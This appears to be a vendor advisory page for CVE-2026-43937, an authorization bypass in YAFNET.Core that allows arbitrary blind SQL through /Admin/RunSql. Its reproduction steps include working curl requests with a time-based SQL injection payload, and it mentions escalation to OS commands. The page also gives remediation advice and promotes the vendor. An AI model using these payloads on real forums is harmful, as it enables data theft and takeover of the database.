CVE-2026-43937

CVE-2026-43937 is a high-severity SQL injection vulnerability in YAFNET.Core (nuget), affecting versions <= 4.0.4. It is fixed in 4.0.5.

Summary

Issue Details:
YAFNET's only admin authorization gate is PageSecurityCheckAttribute, implemented as a ResultFilterAttribute that runs after the page handler completes rather than before it. No other gate exists. Any admin OnPost… handler therefore executes its side effects before the filter rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user.

A deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of @@VERSION: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' produced a ~5-second delay (confirming the byte is M), while IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' returned immediately.

Impact:
An attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full INSERT/UPDATE/DELETE access to every table including the Identity store (AspNetUsers, yaf_User, yaf_UserRole). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (DELETE/DROP/WAITFOR-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has xp_cmdshell or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages.

Likelihood:
Exploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high.

Steps to Reproduce:

  • Register or log in to the forum as any low-privileged user.
  • Acquire the standard __RequestVerificationToken token from any rendered page and the cookies.
  • Use the following CURL command:
    Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' (77 is the character M)
    URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27
curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' (76 is the character L)
URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Observe that when the condition is true the response time increases, if false, it remains unchanged which confirms the presence of SQL Injection.

Remediation:

  • Convert PageSecurityCheckAttribute from a ResultFilterAttribute to an IAsyncPageFilter so the admin check runs in OnPageHandlerExecutionAsync and short-circuits with AccessDenied() before any handler side effects occur.
  • Layer an ASP.NET Core authorization policy as defense-in-depth: AddAuthorization(... AddPolicy("YafAdmin", ...)) combined with AuthorizeFolder("/Admin", "YafAdmin") in the Razor Pages conventions.
  • Restrict /Admin/RunSql to HostAdmin only and wrap IDbAccess.RunSql in a statement-type allow-list that rejects non-read-only SQL, even for legitimate admins.
  • Audit and fix any other authorization logic implemented in ResultFilterAttribute / OnResultExecuting(Async), they share the same lifecycle bug.
  • Add regression tests that invoke each admin OnPost… handler as a non-admin and assert no database or filesystem side effects occur.

Impact

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

CVE-2026-43937 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.0.5); upgrading removes the vulnerable code path.

Affected versions

YAFNET.Core (<= 4.0.4)

Security releases

YAFNET.Core → 4.0.5 (nuget)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade YAFNET.Core to 4.0.5 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-43937? CVE-2026-43937 is a high-severity SQL injection vulnerability in YAFNET.Core (nuget), affecting versions <= 4.0.4. It is fixed in 4.0.5. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
  2. How severe is CVE-2026-43937? CVE-2026-43937 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of YAFNET.Core are affected by CVE-2026-43937? YAFNET.Core (nuget) versions <= 4.0.4 is affected.
  4. Is there a fix for CVE-2026-43937? Yes. CVE-2026-43937 is fixed in 4.0.5. Upgrade to this version or later.
  5. Is CVE-2026-43937 exploitable, and should I be worried? Whether CVE-2026-43937 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-43937 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-43937? Upgrade YAFNET.Core to 4.0.5 or later.

Other vulnerabilities in YAFNET.Core

CVE-2026-43939CVE-2026-43937

Stop the waste.
Protect your environment with Kodem.